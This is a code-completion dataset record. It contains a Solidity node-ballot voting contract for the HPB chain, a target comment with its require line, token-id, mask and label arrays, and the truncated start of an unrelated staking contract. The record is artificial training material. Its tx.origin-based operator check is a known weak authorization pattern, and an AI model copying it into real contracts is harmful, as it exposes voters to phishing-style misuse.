pragma solidity ^0.5.1; contract AdminInterface { function addCandidate( address payable _candidateAddr ) public returns(bool); function deleteCandidate( address payable _candidateAddr ) public returns(bool); function setCapacity( uint _capacity ) public returns(bool); function addCoinBase( address payable _coinBase ) public returns(bool); function initHolderAddr( address payable _coinBase, address payable _holderAddr ) public returns(bool); function calVoteResult() public returns(bool); } contract VoteInterface { /** * 投票 */ function vote( address payable voterAddr, address payable candidateAddr, uint num ) public returns(bool); /** * 用于批量投票 */ function batchVote( address payable voterAddr, address payable[] memory candidateAddrs, uint[] memory nums ) public returns(bool); function updateCoinBase( address payable _coinBase, address payable _newCoinBase ) public returns(bool); function setHolderAddr( address payable _coinBase, address payable _holderAddr ) public returns(bool); function updateCandidateAddr( address payable _candidateAddr, address payable _newCandidateAddr ) public returns(bool); /** * 撤回对某个候选人的投票 */ function cancelVoteForCandidate( address payable voterAddr, address payable candidateAddr, uint num ) public returns(bool); function refreshVoteForAll() public returns(bool); function refreshVoteForVoter(address payable voterAddr) public returns(bool); } contract FetchVoteInterface { /** * 是否为竞选阶段 */ function isRunUpStage() public view returns (bool); /** * 获取所有候选人的详细信息 */ function fetchAllCandidates() public view returns ( address payable[] memory ); /** * 获取所有投票人的详细信息 */ function fetchAllVoters() public view returns ( address payable[] memory, uint[] memory ); /** * 获取所有投票人的投票情况 */ function fetchVoteInfoForVoter( address payable voterAddr ) public view returns ( address payable[] memory, uint[] memory ); /** * 获取某个候选人的总得票数 */ function fetchVoteNumForCandidate( address payable candidateAddr ) public view returns (uint); /** * 获取某个投票人已投票数 */ function fetchVoteNumForVoter( address payable voterAddr ) public view returns (uint); /** * 获取某个候选人被投票详细情况 */ function fetchVoteInfoForCandidate( address payable candidateAddr ) public view returns ( address payable[] memory, uint[] memory ); /** * 获取某个投票人对某个候选人投票数量 */ function fetchVoteNumForVoterToCandidate( address payable voterAddr, address payable candidateAddr ) public view returns (uint); /** * 获取所有候选人的得票情况 */ function fetchAllVoteResult() public view returns ( address payable[] memory, uint[] memory ); function getHolderAddr( address payable _coinBase ) public view returns ( address payable ); function getAllCoinBases( ) public view returns ( address payable[] memory ); } contract Ownable { address payable public owner; modifier onlyOwner { require(msg.sender == owner); // Do not forget the "_;"! It will be replaced by the actual function // body when the modifier is used. _; } function transferOwnership( address payable newOwner ) onlyOwner public returns(bool) { addAdmin(newOwner); deleteAdmin(owner); owner = newOwner; return true; } function getOwner() public view returns ( address payable ) { return owner; } // 合约管理员,可以添加和删除候选人 mapping (address => address payable) public adminMap; modifier onlyAdmin { require(adminMap[msg.sender] != address(0)); _; } function addAdmin(address payable addr) onlyOwner public returns(bool) { require(adminMap[addr] == address(0)); adminMap[addr] = addr; return true; } function deleteAdmin(address payable addr) onlyOwner public returns(bool) { require(adminMap[addr] != address(0)); adminMap[addr] = address(0); return true; } } contract Monitor { function doVoted( address payable voterAddr, address payable candidateAddr, uint num, uint blockNumber )public returns(bool); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, // but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't // hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is * greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract NodeBallot is Ownable ,AdminInterface,VoteInterface,FetchVoteInterface { using SafeMath for uint256; struct Candidate{ address payable candidateAddr; bool isValid; uint voteNumber; } Candidate[] candidateArray;//候选者的数组 mapping (address => uint) candidateIndexMap;//候选者地址=>候选者数组下标 struct Voter{ address payable voterAddr; uint voteNumber; mapping (uint=> uint) candidateVoteNumberMap;//候选者数组下标=>投票数 } Voter[] voterArray;//投票者的数组 mapping (address => uint) voterIndexMap;//投票者地址=>投票者数组下标 address payable[] coinBaseArray;//高性能节点地址数组 mapping (address => uint) coinBaseIndexMap;//高性能节点地址=>高性能节点数组下标 mapping (address => address payable) holderMap;//高性能节点地址=>持币地址 uint public capacity=105;//最终获选者总数(容量,获选者数量上限)默认105个 bool isRunUps=true;//竞选准备阶段 uint _gasLeftLimit=500000;//对于过于复杂操作,无法一步完成,那么必须分步进行 bool isCalVoteResult=false;//是否真正计算竞选结果,如果正在计算过程中中断投票直到完成竞选 // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; //默认操作员,这里一般是官方发布的代理合约作为操作员,并且操作源头仍然必须是本人(这个在代理合约中编写的逻辑) address payable private _defaultOperator; Monitor monitor; address public _defaultMonitor; uint public minLimit=100 finney;//最小投票数量限额:0.1HPB,可外部设置 event ApprovalFor( bool indexed approved, address payable indexed operator, address payable indexed owner ); event CandidateAdded( address payable indexed candidateAddr ); event AddCoinBase( address payable indexed coinBase ); event UpdateCoinBase( address payable indexed coinBase, address payable indexed newCoinBase ); event SetHolderAddr( address payable indexed coinBase, address payable indexed holderAddr ); event CandidateDeleted( address payable indexed candidateAddr ); event UpdateCandidateAddr( address payable indexed _candidateAddr, address payable indexed _newCandidateAddr ); event DoVoted(// 投票 flag=1为投票,flag=0为撤票 uint indexed flag, address payable indexed candidateAddr, address payable indexed voteAddr, uint num ); //记录发送HPB的发送者地址和发送的金额 event ReceivedHpb( address payable indexed sender, uint amount ); //接受HPB转账 function () payable external { emit ReceivedHpb(msg.sender, msg.value); } //销毁合约,并把合约余额返回给合约拥有者 function kill() onlyOwner public returns(bool) { selfdestruct(owner); return true; } //合约拥有者提取合约余额的一部分 function withdraw( uint _value ) onlyOwner payable public returns(bool) { require(address(this).balance >= _value); owner.transfer(_value); return true; } modifier onlyApproved( address payable addr ) { require(!isCalVoteResult);//正在计算竞选结果中,不允许操作 require(isApproved(addr, msg.sender));//必须经过该地址允许才能操作 _; } /** *用户指定允许代理其对合约操作的权限的操作员 */ function setApproval( address payable to, bool approved ) public returns(bool) { require(to != msg.sender); _operatorApprovals[msg.sender][to] = approved; emit ApprovalFor(approved, to, msg.sender); return true; } function isApproved( address payable addr, address payable operator ) public view returns (bool) { if (addr == operator) {//如果是自己,默认允许 return true; } else if (_operatorApprovals[addr][operator]) { return true; } else {//如果是官方代理合约,并且操作源是本人也会允许 return tx.origin == addr && operator == _defaultOperator; } } /** *设置最小允许的投票数 */ function setMinLimit( uint _minLimit ) onlyAdmin public returns(bool) { minLimit = _minLimit; return true; } /** *对投票合约设置默认的代理操作合约,便于间接的操作投票合约 */ function setDefaultOperator( address payable defaultOperator ) onlyAdmin public returns(bool) { require(_defaultOperator != msg.sender); _defaultOperator = defaultOperator; adminMap[_defaultOperator] = _defaultOperator; return true; } function setDefaultMonitor( address payable defaultMonitor ) onlyAdmin public returns(bool) { _defaultMonitor = defaultMonitor; monitor=Monitor(_defaultMonitor); return true; } /** * 构造函数 初始化投票智能合约的部分依赖参数 */ constructor () payable public { owner = msg.sender; // 设置默认管理员 adminMap[owner] = owner; voterArray.push(Voter(address(0),0)); candidateArray.push(Candidate(address(0),false,0)); coinBaseArray.push(address(0)); } /** * 设置最终获选者总数 */ function setCapacity( uint _capacity ) onlyAdmin public returns(bool) { capacity = _capacity; return true; } /** * 是否还在竞选准备阶段 */ function isRunUpStage() public view returns (bool) { return isRunUps; } /** * 为了防止因为gas消耗超出而导致本次操作失败 */ function setGasLeftLimit(uint gasLeftLimit) onlyAdmin public returns (bool) { _gasLeftLimit=gasLeftLimit; return true; } /** * 增加候选者 */ function addCandidate( address payable _candidateAddr ) onlyAdmin public returns(bool) { require(isRunUps); //必须是竞选准备阶段 // 必须候选人地址还未使用 require(candidateIndexMap[_candidateAddr] == 0); candidateIndexMap[_candidateAddr]= candidateArray. push(Candidate(_candidateAddr,true,0))-1; _operatorApprovals[_candidateAddr][owner] = true; if(msg.sender!= owner){ _operatorApprovals[_candidateAddr][msg.sender] = true; } emit CandidateAdded(_candidateAddr); return true; } function addCoinBase( address payable _coinBase ) onlyAdmin public returns(bool) { require(!isRunUps); //必须是竞选结束阶段 require(coinBaseIndexMap[_coinBase] == 0); coinBaseIndexMap[_coinBase]=coinBaseArray.push(_coinBase)-1; emit AddCoinBase(_coinBase); return true; } function getAllCoinBases( ) public view returns ( address payable[] memory ) { if(coinBaseArray.length<2){ return (new address payable[](0)); } uint vcl=coinBaseArray.length - 1; address payable[] memory _coinBases=new address payable[](vcl); for (uint i = 1;i <= vcl;i++) { _coinBases[i-1] = coinBaseArray[i]; } return (_coinBases); } function updateCoinBase( address payable _coinBase, address payable _newCoinBase ) onlyApproved(_coinBase) public returns(bool) { require(!isRunUps); // 必须是竞选结束阶段 require(coinBaseIndexMap[_coinBase]!= 0); coinBaseArray[coinBaseIndexMap[_coinBase]]=_newCoinBase; coinBaseIndexMap[_newCoinBase]=coinBaseIndexMap[_coinBase]; coinBaseIndexMap[_coinBase]=0; if(candidateIndexMap[_coinBase]!= 0){ require(updateCandidateAddr(_coinBase,_newCoinBase)); } emit UpdateCoinBase(_coinBase,_newCoinBase); return true; } function setHolderAddr( address payable _coinBase, address payable _holderAddr ) onlyApproved(_coinBase) onlyApproved(_holderAddr) public returns(bool) { require(!isRunUps); //必须是竞选结束阶段 require(coinBaseIndexMap[_coinBase]!= 0); require(!isHolderAddrExist(_holderAddr));//持币地址不可以重复 holderMap[_coinBase]=_holderAddr; emit SetHolderAddr(_coinBase,_holderAddr); return true; } function initHolderAddr( address payable _coinBase, address payable _holderAddr ) onlyAdmin public returns(bool) { require(coinBaseIndexMap[_coinBase]!= 0); require(holderMap[_coinBase]==address(0));//管理员只能初始化一次,如果再次修改只能是节点自己来修改 require(!isHolderAddrExist(_holderAddr));//持币地址不可以重复 holderMap[_coinBase]=_holderAddr; emit SetHolderAddr(_coinBase,_holderAddr); return true; } function isHolderAddrExist( address payable _holderAddr ) public view returns(bool){ bool isExist=false; for(uint i=1;i<coinBaseArray.length;i++){ if(_holderAddr==getHolderAddr(coinBaseArray[i])){ isExist=true; break; } } return isExist; } function getHolderAddr( address payable _coinBase ) public view returns ( address payable ){ if(coinBaseIndexMap[_coinBase]== 0){ return address(0); } if(holderMap[_coinBase]==address(0)){ return _coinBase; } return holderMap[_coinBase]; } /** * 删除候选者 * @param _candidateAddr 候选者账户地址 */ function deleteCandidate( address payable _candidateAddr ) onlyAdmin public returns(bool){ require(isRunUps);//必须是竞选准备阶段 uint candidateIndex=candidateIndexMap[_candidateAddr]; require(candidateIndex != 0); candidateArray[candidateIndex].isValid=false; candidateArray[candidateIndex].voteNumber=0; // 撤销该候选者对应的投票者关联的投票数据 for (uint n=1;n <voterArray.length;n++) { if(voterArray[n].voteNumber>0){ if(voterArray[n].candidateVoteNumberMap[candidateIndex]>0){ voterArray[n].voteNumber=voterArray[n].voteNumber.sub( voterArray[n].candidateVoteNumberMap[candidateIndex]); voterArray[n].candidateVoteNumberMap[candidateIndex]=0; } } } emit CandidateDeleted(_candidateAddr); return true; } function updateCandidateAddr( address payable _candidateAddr, address payable _newCandidateAddr ) onlyApproved(_candidateAddr) public returns(bool) { // 判断候选人是否已经存在 Judge whether candidates exist. uint candidateIndex =candidateIndexMap[_candidateAddr]; require(candidateIndex != 0); candidateArray[candidateIndex].candidateAddr= _newCandidateAddr; candidateIndexMap[_newCandidateAddr] = candidateIndex; candidateIndexMap[_candidateAddr] = 0; emit UpdateCandidateAddr(_candidateAddr, _newCandidateAddr); return true; } /** * 投票 */ function vote( address payable voterAddr, address payable candidateAddr, uint num ) onlyApproved(voterAddr) public returns(bool){ // 刷新所有的投票结果 require(refreshVoteForAll()); uint voterIndex=voterIndexMap[voterAddr]; // 如果从没投过票,就添加投票人 if (voterIndex == 0) { voterIndex = voterArray.push(Voter(voterAddr,0))-1; voterIndexMap[voterAddr] = voterIndex; } require(voterAddr.balance>=num.add(voterArray[voterIndex].voteNumber)); return _doVote(voterIndex,candidateAddr, num); } /** * 执行投票 do vote */ function _doVote( uint voterIndex, address payable candidateAddr, uint num ) internal returns(bool){ // 不少于允许的最小投票数 require(num > minLimit); uint candidateIndex=candidateIndexMap[candidateAddr]; // 候选人必须存在 require(candidateIndex!= 0); require(candidateArray[candidateIndex].isValid); voterArray[voterIndex].candidateVoteNumberMap[candidateIndex]= num.add(voterArray[voterIndex].candidateVoteNumberMap[candidateIndex]); // 投票人已投总数累加 voterArray[voterIndex].voteNumber=num.add(voterArray[voterIndex].voteNumber); // 候选者得票数累加 candidateArray[candidateIndex].voteNumber = num.add(candidateArray[candidateIndex].voteNumber); emit DoVoted(1,candidateAddr,voterArray[voterIndex].voterAddr,num); if(_defaultMonitor!=address(0)){ monitor.doVoted( voterArray[voterIndex].voterAddr, candidateAddr, voterArray[voterIndex].candidateVoteNumberMap[candidateIndex], block.number ); } return true; } /** * 用于批量投票 */ function batchVote( address payable voterAddr, address payable[] memory candidateAddrs, uint[] memory nums ) onlyApproved(voterAddr) public returns(bool){ require(candidateAddrs.length==nums.length); // 刷新所有的投票结果 require(refreshVoteForAll()); uint voterIndex=voterIndexMap[voterAddr]; // 如果从没投过票,就添加投票人 if (voterIndex == 0) { voterIndex = voterArray.push(Voter(voterAddr,0))-1; voterIndexMap[voterAddr] = voterIndex; } for (uint i=0;i<candidateAddrs.length;i++) { require(_doVote(voterIndex,candidateAddrs[i], nums[i])); } require(voterAddr.balance>=voterArray[voterIndex].voteNumber); return true; } function refreshVoteForAll() public returns(bool) { if(voterArray.length>0){ for (uint i=1;i<voterArray.length;i++) { if(voterArray[i].voteNumber>0){ require(_innerRefreshVoter(i)); } if(gasleft()<_gasLeftLimit){ break; } } } return true; } function refreshVoteForVoter( address payable voterAddr ) public returns(bool){ uint voterIndex=voterIndexMap[voterAddr]; if (voterIndex!= 0) { if(voterArray[voterIndex].voteNumber>0){ require(_innerRefreshVoter(voterIndex)); } } return true; } function _innerRefreshVoter( uint voterIndex ) internal returns(bool){ uint balance=voterArray[voterIndex].voterAddr.balance; if (balance <=minLimit){//如果账户余额少于最小投票数量限额,全部撤销 for (uint k = 1;k <candidateArray.length;k++) { uint oldNum= voterArray[voterIndex].candidateVoteNumberMap[k]; if(oldNum>0){ require(_cancelVote(voterIndex, k, oldNum)); } } }else{ uint voteNumber=voterArray[voterIndex].voteNumber; if(balance<voteNumber){//如果账户余额少于已投票数 for (uint k=1;k<candidateArray.length;k++) { uint oldNum= voterArray[voterIndex].candidateVoteNumberMap[k]; if(oldNum>0){ uint remainNum=oldNum.mul(balance).div(voteNumber); if(remainNum <= minLimit) { require(_cancelVote(voterIndex, k, oldNum)); }else{ require(_cancelVote(voterIndex, k, oldNum.sub(remainNum))); } } } } } return true; } /** * 撤回对某个候选人的投票 */ function cancelVoteForCandidate( address payable voterAddr, address payable candidateAddr, uint num ) onlyApproved(voterAddr) public returns(bool) { uint voterIndex=voterIndexMap[voterAddr]; require(voterIndex != 0); uint candidateIndex=candidateIndexMap[candidateAddr]; require(candidateIndex != 0); require(candidateArray[candidateIndex].isValid); uint oldNum=voterArray[voterIndex].candidateVoteNumberMap[candidateIndex]; require(oldNum >= num); uint remainNum=oldNum.sub(num); if (remainNum <=minLimit) { require(_cancelVote(voterIndex,candidateIndex, oldNum)); }else{ require(_cancelVote(voterIndex, candidateIndex, num)); } return true; } function _cancelVote( uint voterIndex, uint candidateIndex, uint num ) internal returns(bool){ voterArray[voterIndex].candidateVoteNumberMap[candidateIndex] = voterArray[voterIndex].candidateVoteNumberMap[candidateIndex].sub(num); voterArray[voterIndex].voteNumber = voterArray[voterIndex].voteNumber.sub(num); candidateArray[candidateIndex].voteNumber = candidateArray[candidateIndex].voteNumber.sub(num); emit DoVoted( 0, candidateArray[candidateIndex].candidateAddr, voterArray[voterIndex].voterAddr, num ); if(_defaultMonitor!=address(0)){ monitor.doVoted( voterArray[voterIndex].voterAddr, candidateArray[candidateIndex].candidateAddr, voterArray[voterIndex].candidateVoteNumberMap[candidateIndex], block.number ); } return true; } /** * 计算选举结果 */ function calVoteResult() onlyAdmin public returns(bool) { require(isRunUps); // 必须是竞选准备阶段 refreshVoteForAll(); uint candidateLength=candidateArray.length; if (candidateLength>capacity.add(1)) { isCalVoteResult=true; address payable[] memory _inAddrs=new address payable[](capacity); uint[] memory _nums=new uint[](capacity); uint minIndex=0; uint upIndex=0; for (uint p = 1;p < candidateLength;p++) { if(gasleft()<_gasLeftLimit){ return false; } if(candidateArray[p].isValid){ if (upIndex<capacity) { //candidateIsValidMap[k] // 先初始化获选者数量池 Initialize the number of pools selected first. _inAddrs[upIndex] = candidateArray[p].candidateAddr; _nums[upIndex] = candidateArray[p].voteNumber; // 先记录获选者数量池中得票最少的记录 if (_nums[upIndex] < _nums[minIndex]) { minIndex = upIndex; } upIndex++; } else{ if (candidateArray[p].voteNumber > _nums[minIndex]) { deleteCandidate(_inAddrs[minIndex]); _inAddrs[minIndex] = candidateArray[p].candidateAddr; _nums[minIndex] = candidateArray[p].voteNumber; //重新记下最小得票者 for (uint j=0;j <capacity;j++) { if (_nums[j] < _nums[minIndex]) { minIndex = j; } } } else { deleteCandidate(candidateArray[p].candidateAddr); } } } } } isCalVoteResult=false; isRunUps=false; return true; } /** * 获取所有候选人的详细信息 */ function fetchAllCandidates() public view returns ( address payable[] memory ) { uint i=0; for (uint j = 1;j < candidateArray.length;j++) { if(candidateArray[j].isValid){ i++; } } address payable[] memory _addrs=new address payable[](i); uint p=0; for (uint k = 1;k < candidateArray.length;k++) { if(candidateArray[k].isValid){ _addrs[p]=candidateArray[k].candidateAddr; p++; } } return _addrs; } /** * 获取所有投票人的详细信息 */ function fetchAllVoters() public view returns ( address payable[] memory, uint[] memory ) { uint i=0; for (uint j = 1;j < voterArray.length;j++) { if(voterArray[j].voteNumber>0){ i++; } } address payable[] memory _addrs=new address payable[](i); uint[] memory _voteNumbers=new uint[](i); uint p=0; for (uint k = 1;k < voterArray.length;k++) { if(voterArray[k].voteNumber>0){ _addrs[p]=voterArray[k].voterAddr; _voteNumbers[p] = voterArray[k].voteNumber; p++; } } return (_addrs, _voteNumbers); } function fetchAllVoterAddrs() public view returns ( address payable[] memory ){ uint i=0; for (uint j = 1;j < voterArray.length;j++) { if(voterArray[j].voteNumber>0){ i++; } } address payable[] memory _addrs=new address payable[](i); uint p=0; for (uint k = 1;k < voterArray.length;k++) { if(voterArray[k].voteNumber>0){ _addrs[p]=voterArray[k].voterAddr; p++; } } return _addrs; } /** * 获取投票人的投票情况 */ function fetchVoteInfoForVoter( address payable voterAddr ) public view returns ( address payable[] memory, uint[] memory ) { uint voterIndex = voterIndexMap[voterAddr]; if (voterIndex == 0) { //没投过票 return (new address payable[](0), new uint[](0)); } if (voterArray[voterIndex].voteNumber == 0) { return (new address payable[](0), new uint[](0)); } uint i=0; for (uint j = 1;j < candidateArray.length;j++) { if(voterArray[voterIndex].candidateVoteNumberMap[j]>0){ i++; } } address payable[] memory _addrs=new address payable[](i); uint[] memory _nums=new uint[](i); uint p=0; for (uint k = 1;k < candidateArray.length;k++) { if(voterArray[voterIndex].candidateVoteNumberMap[k]>0){ _addrs[p]=candidateArray[k].candidateAddr; _nums[p] =voterArray[voterIndex].candidateVoteNumberMap[k]; p++; } } return (_addrs, _nums); } /** * 获取某个候选人的总得票数 Total number of votes obtained from candidates */ function fetchVoteNumForCandidate( address payable candidateAddr ) public view returns (uint) { uint candidateIndex=candidateIndexMap[candidateAddr]; require(candidateIndex != 0); require(candidateArray[candidateIndex].isValid); return candidateArray[candidateIndex].voteNumber; } /** * 获取某个投票人已投票数 Total number of votes obtained from voterAddr */ function fetchVoteNumForVoter( address payable voterAddr ) public view returns (uint) { uint voterIndex = voterIndexMap[voterAddr]; if(voterIndex == 0){//没投过票 return 0; } return voterArray[voterIndex].voteNumber; } function fetchVoteNumForVoterToCandidate( address payable voterAddr, address payable candidateAddr ) public view returns (uint) { uint voterIndex = voterIndexMap[voterAddr]; if(voterIndex == 0){//没投过票 return 0; } uint candidateIndex=candidateIndexMap[candidateAddr]; if(candidateIndex == 0){ return 0; } return voterArray[voterIndex].candidateVoteNumberMap[candidateIndex]; } /** * 获取某个候选人被投票详细情况 */ function fetchVoteInfoForCandidate( address payable candidateAddr ) public view returns ( address payable[] memory, uint[] memory ) { uint candidateIndex=candidateIndexMap[candidateAddr]; require(candidateIndex != 0); require(candidateArray[candidateIndex].isValid); if(candidateArray[candidateIndex].voteNumber==0){ return (new address payable[](0),new uint[](0)); } uint i=0; for (uint j = 1;j < voterArray.length;j++) { if(voterArray[j].candidateVoteNumberMap[candidateIndex]>0){ i++; } } address payable[] memory _addrs=new address payable[](i); uint[] memory _nums=new uint[](i); uint p=0; for (uint k = 1;k < voterArray.length;k++) { if(voterArray[k].candidateVoteNumberMap[candidateIndex]>0){ _addrs[p]=voterArray[k].voterAddr; _nums[p] =voterArray[k].candidateVoteNumberMap[candidateIndex]; p++; } } return (_addrs, _nums); } function fetchAllVoteResult() public view returns ( address payable[] memory, uint[] memory ) { uint i=0; for (uint j = 1;j < candidateArray.length;j++) { if(candidateArray[j].isValid){ i++; } } address payable[] memory _addrs=new address payable[](i); uint[] memory _nums=new uint[](i); uint p=0; for (uint k = 1;k < candidateArray.length;k++) { if(candidateArray[k].isValid){ _addrs[p]=candidateArray[k].candidateAddr; _nums[p] =candidateArray[k].voteNumber; p++; } } return (_addrs,_nums); } }
管理员只能初始化一次,如果再次修改只能是节点自己来修改
require(holderMap[_coinBase]==address(0));
12,874,599
[ 1, 168, 111, 99, 168, 243, 233, 166, 244, 251, 166, 242, 108, 169, 230, 126, 166, 235, 256, 166, 105, 238, 166, 239, 249, 165, 121, 227, 167, 110, 99, 176, 125, 239, 166, 104, 229, 167, 257, 255, 166, 233, 240, 167, 110, 99, 165, 128, 111, 167, 247, 122, 166, 242, 108, 169, 230, 126, 167, 251, 112, 169, 237, 229, 168, 229, 122, 169, 234, 108, 166, 120, 114, 167, 256, 103, 165, 128, 111, 167, 247, 122, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 2583, 12, 4505, 863, 63, 67, 12645, 2171, 65, 631, 2867, 12, 20, 10019, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT import { Ownable } from "./abstract/Ownable.sol"; pragma solidity 0.8.6; contract Parameterized is Ownable { uint256 internal constant WEEK = 7 days; uint256 internal constant MONTH = 30 days; struct StakeParameters { uint256 value; uint256 lastChange; uint256 minDelay; } /// @notice time to allow to be Super Staker (30*24*60*60) StakeParameters public timeToSuper; /// @notice time to wait for unstake (7*24*60*60) StakeParameters public timeToUnstake; /// @notice fee for premature unstake in 1/10 percent, /// @dev value 1000 = 10% StakeParameters public unstakeFee; function _minusFee(uint256 val) internal view returns (uint256) { return val - ((val * unstakeFee.value) / 10000); } function updateFee(uint256 val) external onlyOwner { require(block.timestamp > unstakeFee.lastChange + unstakeFee.minDelay, "Soon"); require(val <= 2500, "max fee is 25%"); unstakeFee.lastChange = block.timestamp; unstakeFee.value = val; } function updateTimeToUnstake(uint256 val) external onlyOwner { require(block.timestamp > timeToUnstake.lastChange + timeToUnstake.minDelay, "Soon"); require(val <= 2 * WEEK, "Max delay is 14 days"); timeToUnstake.lastChange = block.timestamp; timeToUnstake.value = val; } function updateTimeToSuper(uint256 val) external onlyOwner { require(block.timestamp > timeToSuper.lastChange + timeToSuper.minDelay, "Soon"); require(val <= 3 * MONTH && val >= WEEK, "Delay is 1 week - 3 months"); timeToSuper.lastChange = block.timestamp; timeToSuper.value = val; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.6; import { ReentrancyGuard } from "./external/openzeppelin/ReentrancyGuard.sol"; import { RewardsDistribution } from "./abstract/RewardsDistribution.sol"; import { StableMath } from "./libraries/StableMath.sol"; import { SafeERC20, IERC20 } from "./libraries/SafeERC20.sol"; import { Parameterized } from "./Parameterized.sol"; /** * @title SynapseStaking * @notice Rewards stakers of SNP token and a given LP token with rewards in form of SNP token, on a pro-rata basis. * @dev Uses an ever increasing 'rewardPerTokenStored' variable to distribute rewards * each time a write action is called in the contract. This allows for passive reward accrual. */ contract SynapseStaking is RewardsDistribution, ReentrancyGuard, Parameterized { using StableMath for uint256; using SafeERC20 for IERC20; /// @notice stake/reward token address address public tokenAddress; /// @notice LP stake token address address public liquidityAddress; /// @notice vesting contract address address public vestingAddress; /// @notice timestamp for current period finish uint256 public periodFinish; /// @notice timestamp for current super period finish uint256 public superPeriodFinish; struct Data { uint256 depositedTokens; // deposited tokens amount uint256 depositedLiquidity; // deposited lp amount uint256 totalRewardsAdded; // accumulated amount of rewards added to token and liquidity staking uint256 totalRewardsClaimed; // accumulated amount of rewards claimed uint256 totalRewardsFromFees; // accumulated amount of rewards collected from fee-on-transfer } Data public data; struct StakingData { uint256 rewardRate; // rewardRate for the rest of the period uint256 superRewardRate; // superRewardRate for the rest of the super period uint256 lastUpdateTime; // last time any user took action uint256 lastSuperUpdateTime; // last time super staker took action uint256 rewardPerTokenStored; // accumulated per token reward since the beginning of time uint256 superRewardPerTokenStored; // super accumulated per token reward since the beginning of time uint256 stakedTokens; // amount of tokens that is used in reward per token calculation uint256 stakedSuperTokens; // amount of tokens that is used in super reward per token calculation } StakingData public tokenStaking; StakingData public lpStaking; struct Stake { uint256 stakeStart; // timestamp of stake creation uint256 superStakerPossibleAt; // timestamp after which user can claim super staker status // uint256 rewardPerTokenPaid; // user accumulated per token rewards uint256 superRewardPerTokenPaid; // user accumulated per token super staker rewards // uint256 tokens; // total tokens staked by user snp or lp uint256 rewards; // current not-claimed rewards from last update // uint256 withdrawalPossibleAt; // timestamp after which stake can be removed without fee bool isWithdrawing; // true = user call to remove stake bool isSuperStaker; // true = user is super staker } /// @dev each holder have one stake /// @notice token stakes storage mapping(address => Stake) public tokenStake; /// @notice LP token stakes storage mapping(address => Stake) public liquidityStake; /// @dev events event Claimed(address indexed user, uint256 amount); event StakeAdded(address indexed user, uint256 amount); event StakeLiquidityAdded(address indexed user, uint256 amount); event StakeRemoveRequested(address indexed user); event StakeLiquidityRemoveRequested(address indexed user); event StakeRemoved(address indexed user, uint256 amount); event StakeLiquidityRemoved(address indexed user, uint256 amount); event Recalculation(uint256 reward, uint256 lpReward); event SuperRecalculation(uint256 superReward, uint256 superLpReward); /** * @param _timeToSuper time needed to become a super staker * @param _timeToUnstake time needed to unstake without fee */ constructor(uint256 _timeToSuper, uint256 _timeToUnstake) { timeToSuper.value = _timeToSuper; timeToUnstake.value = _timeToUnstake; timeToSuper.lastChange = block.timestamp; timeToUnstake.lastChange = block.timestamp; timeToSuper.minDelay = WEEK; timeToUnstake.minDelay = WEEK; unstakeFee.value = 1000; } /** * @dev One time initialization function * @param _token SNP token 